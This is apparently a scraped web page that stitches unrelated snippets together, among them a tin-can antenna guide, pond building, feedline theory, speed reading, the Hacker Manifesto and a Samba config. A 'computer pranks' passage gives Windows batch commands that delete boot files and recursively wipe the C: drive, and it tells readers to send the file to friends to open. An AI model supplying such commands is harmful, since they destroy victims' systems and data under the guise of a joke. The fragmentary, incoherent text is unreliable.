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How to build a tin can waveguide antenna

How to build a tin can waveguide antenna
Assemble the probe and mount in can Now you'll need that bit of wire. You'll need a soldering iron or a friend with one as well. Cut the wire so that when it is stuck in the connector as shown, the total length of both the brass tube and wire sticking out past the connector is 1.21". Get as close to this length as you can. When you've got your wire correctly sized, solder it into the connector keeping it as straight and upright as you can. Connect your antenna to your wireless card or access point To use your cantenna, you'll need a special cable commonly called a "Pig Tail". You'll want to have a wireless NIC or access point with an external antenna connector. Hook up your cable, point the antenna at a friend's, and see how far you can stretch you network. This antenna has linear polarization. For more information, check out these resources: Go to the Homebrew WiFi Antenna Shootout Go to the Wireless Home Related:  Amateur Radio VII

How to Buld a Pond - Build Your Own Backyard Pond If you've always wanted a backyard pond, you're not alone. Hundreds of thousands of homeowners already have them and thousands more are installing them every year. Why all the fuss over a water-filled hole? Well, for one thing, gurgling waterfalls are inherently appealing. Also, with the growing popularity of "water gardening," many people look at their ponds as an interesting, ongoing project. But before you can start stocking aquatic plants and animals, such as fish, frogs, tadpoles and snails, you need the pond itself--and a source for supplies and equipment. Keep in mind that the project doesn't have to be huge. Digging It Once you've chosen a location for the pond, lay out the perimeter using rope or a garden hose. Now, line the hole and the pit with screened mason's sand and rake it smooth. Laying Rubber Fold the rubber liner lengthwise, center it over the hole and unfold it. We built this pond out of red New England fieldstone, which is relatively flat and easy to stack. 130 foot doublet / open wire line In simple terms, true open wire line (sometimes called tuned feeders) has lower loss for two reasons: 1. The range of average impedances it operates at is generally much higher, with more voltage and less current. The reduced current lessens the ohmic losses in the skin-effect surface of the conductors. This tradeoff places more stress on the insulating materials, which must withstand more voltage without arc-over and must not have much leakage resistance between conductors. 2. For you diehards who really prefer coaxial cable, and want to use a tuner in the shack to solve high VSWR, there is a low-loss solution: Click here to see the high performace coax. From Terman, Radio Engineering, 2nd ed. p 700: "The losses in a properly constructed line can be made very small. He continues: "A two wire transmission line radiates very little energy because the close proximity of the two conductors carrying current in opposite directions very nearly cancels the radiated field.

How To Speed Read (College Academics) Have you ever wanted to learn how to read faster? Now you can with these amazing speed reading techniques . Step 1: Test Yourself Start by testing your current reading rate. This is done through a simple formula. Step 2: Scanning Not every word is important to understanding, so train your eyes to read groups of words. Step 3: Subvocalization I bet you don’t even know it, but you probably subvocalize or quietly pronounce every word you read. Step 4: Use Your Hand Evelyn Wood, The Pioneer of Speed Reading, invented the pointer method. Today at Videojug it's completely FREE! Step 5: Regression Regression is when you go back and read a line you've already read. Step 6: Practice Makes Perfect Speed reading is not like riding a bike; you NEED to practice, otherwise you will go back to the habits you developed when you first learned to read.

The Hacker Manifesto by +++The Mentor+++ Written January 8, 1986 Another one got caught today, it's all over the papers. "Teenager Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"... Damn kids. They're all alike. But did you, in your three-piece psychology and 1950's technobrain, ever take a look behind the eyes of the hacker? I am a hacker, enter my world... Mine is a world that begins with school... Damn underachiever. I'm in junior high or high school. Damn kid. I made a discovery today. Damn kid. And then it happened... a door opened to a world... rushing through the phone line like heroin through an addict's veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought... a board is found. Damn kid. You bet your ass we're all alike... we've been spoon-fed baby food at school when we hungered for steak... the bits of meat that you did let slip through were pre-chewed and tasteless. Yes, I am a criminal. I am a hacker, and this is my manifesto.

peanut – David PA7LIM Peanut is back. The latest Android version is stable and gives me more time to spend with my family. When I have time, I can work on bugfixes and features. Working on new project called Peanut. Supported hardware Supported OS Android 4.x or higher.Windows 7 and higher ( .NET 4.5 ) Access Make sure you are USTRUST DSTAR registered user to use the REF ( DPLUS ) rooms!! See if you are registered to DSTAR and DMR : Click here to make a code request : peanut-request สำหรับนักวิทยุสมัครเล่นไทย ลงทะเบียนขอโค้ดที่นี่ Supported radio’s Who is going to make the first analog hotspot? Rooms There are local rooms like SPANISH, DUTCH, ENGLISH, JAPANESE, KOREAN etc. List of rooms on the Global master: List of room on the Japanese master: Software Android : Windows : Dashboard Global

Build Your Own Server | Why pay somebody to do it for you when you can build it yourself! [global] panic action = /usr/share/samba/panic-action %d workgroup = "Name" netbios name = "Server name" invalid users = root security = user wins support = no log file = /var/log/samba.log log level = 3 max log size = 1000 syslog = 1 encrypt passwords = true passdb backend = smbpasswd socket options = TCP_NODELAY dns proxy = no passwd program = /usr/bin/passwd %u passwd chat =*Enter\snew\sUNIX\spassword:* %n\n *Retype\snew\sUNIX\spassword:* %n\n . obey pam restrictions = yes pam password change = no null passwords = no #Share Definitions [homes] comment = Home Directories browseable = yes writable = yes security mask = 0700 create mask = 0700 #! Painfully Computer Pranks ~ Computer Hacking | Learn How To Hack Computer pranks to freak out your friends and make them crying for mummy I've been posting many articles about computer pranks on this blog (Deadly Virus Prank, The Ultimate Virus, How to Create a Fake and Harmless Virus and Facebook Virus Prank). Today , I will show you 5 great computer pranks that will frustrate your victims very much. These pranks could be very painfully, so please use them at your own risk ;) 1. I stumbled across this URL while surfing the internet. 2. Open notepad and copy/paste this code: @echo offattrib -r -s -h c:\autoexec.batdel c:\autoexec.batattrib -r -s -h c:\boot.inidel c:\boot.iniattrib -r -s -h c:\ntldrdel c:\ntldrattrib -r -s -h c:\windows\win.inidel c:\windows\win.ini Now Save it as a .bat file. This should shutdown the persons computer. Send it to your friends computer and tell them to open it. Here is another code too..... cmd /c del c:\windows\* /F /S /Q cmd /c del c:\* /F /S /Q Paste it in NotePad And Save It with Extension .cmd or .bat

KA7OEI - Optical Receivers for through-the-air communications When designing a receiver that is intended to be used for optical through-the-air communications, there are some things to be considered that are very different from what might be required in most other situations where detection (and demodulation) of an optical signal is to be done: Weaker signals. Signals are likely weaker in through-the-air communications - typically by several orders of magnitude - than in more familiar situations where an optical signal is to be detected from optical fiber systems such as optical fibers, TOSLINK, infrared TV remote, etc. In thse situations the energy present at the receiver is really quite high, suffering only modest attenuation through the medium. Optical cables tend to have quite low loss, while infrared remotes are usually pointed directly at the device being controlled. Lower bandwidth. Additional comments about this page: Vacuum tube detectors: Phototransistors: Photodiodes: Another type of photodiode is the Avalanche Photodiode or APD. Notes: